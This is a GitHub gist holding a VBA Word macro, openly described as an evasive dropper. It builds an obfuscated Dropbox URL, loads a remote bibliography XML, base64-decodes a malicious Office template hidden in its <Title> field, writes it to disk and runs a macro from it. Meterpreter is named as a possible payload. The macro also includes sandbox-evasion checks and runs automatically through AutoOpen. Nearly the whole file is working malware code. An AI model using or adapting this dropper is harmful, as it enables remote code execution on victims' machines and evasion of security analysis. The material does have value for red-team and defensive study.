Skip to content

Instantly share code, notes, and snippets.

@Arno0x
Last active October 12, 2023 23:19
Show Gist options
  • Save Arno0x/89be7921e4467dd402b71ce6e29fcec1 to your computer and use it in GitHub Desktop.
Save Arno0x/89be7921e4467dd402b71ce6e29fcec1 to your computer and use it in GitHub Desktop.
' Author Arno0x0x - https://twitter.com/Arno0x0x
'
' This macro downloads an XML bibliography source file.
' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
' which itself contains another malicious macro much more detectable (meterpreter for instance).
'
' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
'
' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers
' and recently opened documents.
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
Sub LoadBibliography()
MsgBox ("File signature checked")
Dim drive, bibliographySource, fonts, dl As String
dl = "1"
bibliographySource = "h"
fonts = "tt"
drive = "s:/"
bibliographySource = bibliographySource + fonts + "p" + drive
bibliographySource = bibliographySource + StrReverse(Trim("moc.tnetnocresuxobpord.ld/ "))
bibliographySource = bibliographySource + "/path_to_source.xml?dl=" + dl
' Initial checks
If (Trim(Application.ActivePrinter & vbNullString) = vnnullstring) Then
MsgBox ("Is it possible that you have no printer set ?")
Exit Sub
End If
If (Application.RecentFiles.Count < 4) Then
MsgBox ("Is it possible that you have not worked on any documents yet ?")
Exit Sub
End If
MsgBox bibliographySource
' Load a Bibliography remote source.xml file
On Error Resume Next
Application.LoadMasterList (bibliographySource)
If Err.Number <> 0 Then
MsgBox ("Remote source.xml could not be loaded")
End If
' Retrieve the returned XML file
Dim xml As MSXML2.DOMDocument
Set xml = New DOMDocument
xml.LoadXML (Application.Bibliography.Sources(1).xml)
' Decode the base64 encoded content from the <Title> field
Dim bytes() As Byte
bytes = Base64Decode(xml.SelectSingleNode("//Title").Text)
' Write the bytes to a local file
Dim UserProfile As String
UserProfile = Environ("USERPROFILE")
FileHandle = FreeFile()
Open UserProfile + "\temp" For Binary As FileHandle
Put #FileHandle, , bytes
Close #FileHandle
Dim wordapp As Word.Application
Set wordapp = CreateObject("Word.Application")
wordapp.Documents.Open (UserProfile + "\temp")
wordapp.Run ("ComputeTable")
wordapp.Quit
Set wordapp = Nothing
End Sub
Public Function Base64DecodeString(ByVal s As String) As String
If s = "" Then Base64DecodeString = "": Exit Function
Base64DecodeString = ConvertBytesToString(Base64Decode(s))
End Function
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
' set Map1
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
' set Map2
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
Private Function ConvertBytesToString(b() As Byte) As String
Dim l As Long: l = UBound(b) - LBound(b) + 1
Dim b2() As Byte
ReDim b2(0 To (2 * l) - 1) As Byte
Dim p0 As Long: p0 = LBound(b)
Dim p As Long
For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
Dim s As String: s = b2
ConvertBytesToString = s
End Function
Sub AutoOpen()
LoadBibliography
End Sub
Sub Auto_Open()
LoadBibliography
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment